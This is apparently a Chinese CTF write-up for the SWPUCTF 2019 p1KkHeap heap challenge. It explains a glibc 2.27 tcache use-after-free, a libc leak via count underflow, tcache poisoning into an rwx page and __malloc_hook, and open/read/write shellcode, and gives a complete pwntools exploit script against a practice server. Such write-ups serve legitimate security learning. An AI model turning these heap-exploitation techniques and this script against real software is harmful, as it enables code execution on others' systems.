【pwn】SWPUCTF_2019_p1KkHeap

libc-2.27.so下的一道tcache堆题。
例行检查
在这里插入图片描述
保护全开。
分析程序,在进入菜单之前,有一个函数跟入查看。
【pwn】SWPUCTF_2019_p1KkHeap_第1张图片
注意到这边用mmap函数在0x66660000映射了一块大小为0x1000的内存空间,权限是rwx。然后用prctl函数做了一个沙箱。我们查看以下禁用了什么调用。
【pwn】SWPUCTF_2019_p1KkHeap_第2张图片
可见execve被禁用,于是system函数和onegadget都不可行。于是就只能自己将shellcode(orw)写到0x66660000这个内存空间上,然后再想办法劫持到这边运行。
接下来分析菜单,漏洞存在于free后,有个uaf。
利用方法
1.泄露Libc地址
由于tcache也是一个链栈,且不检查double free利用起来更方便了,我们想要劫持malloc_hook就要泄露libc地址,一般可以使用unsortbin attack。但是这个题只让free三次,想要将tcache填满,然后free进unsortbin是不可能的。但是tcache->count是一个无符号类型的数据,我们在double free后tcache成环,那么就可以一直malloc这一块地方内存,使tcache->count变为负数(实际上是很大的正数)。这样再free时就不会进入tcache中,而是进入unsort bin中,这样可以得到libc地址。
2.malloc任意地址
由于tcache不check大小,所以可以通过修改tcache_entry就可以malloc任意地址。那么就可以分配到malloc_hook以及0x66660000。
3.向0x66660000写shellcode
由于execve被禁,所以通过orw来读取flag。
4.将malloc_hook覆盖为0x66660000
在下一次malloc时,跳转到0x66660000执行shellcode。

from pwn import *
context.arch='amd64'

def add(size):
    io.recvuntil('Choice:')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))

def show(idx):
    io.recvuntil('Choice:')
    io.sendline('2')
    io.recvuntil('id:')
    io.sendline(str(idx))    

def free(idx):
    io.recvuntil('Choice:')
    io.sendline('4')
    io.recvuntil('id:')
    io.sendline(str(idx))

def edit(idx,data):
    io.recvuntil('Choice:')
    io.sendline('3')
    io.recvuntil('id:')
    io.sendline(str(idx))
    io.recvuntil('content:')
    io.send(data)

io=remote('node3.buuoj.cn',25705)

add(0x100)#0
add(0x100)#1
#tcache_dup
free(1)
free(1)
#1_chunk get tcache_entry
show(1)
io.recvuntil('content: ')
first_chunk=u64(io.recv(6).ljust(8,'\x00'))
tcache_entry=first_chunk-0x198-0x110
print(hex(tcache_entry))
#edit fd -> tache_entry
add(0x100)#2
edit(2,p64(tcache_entry))
add(0x100)#3 
add(0x100)#4 get tcache_entry
rwx_add=0x66660000
edit(4,p64(rwx_add))#edit tcache_entry
add(0x100) #5 get rwx memory
#write shellcode
shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,0x66660300,64)
shellcode+=shellcraft.amd64.write(1,0x66660300,64)
edit(5,asm(shellcode))
#tcache_count is -1(0xff) now
#unsortbin attack
free(0)
show(0)
io.recvuntil('content: ')
libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x3ebca0
print(hex(libc_base))
#malloc_hijack
malloc_hook=libc_base+0x3ebc30
edit(4,p64(malloc_hook))#edit tcache_entry
add(0x100) #6 get malloc_hook
edit(6,p64(rwx_add))
#getflag
add(0x100)
io.interactive()

你可能感兴趣的:(pwn)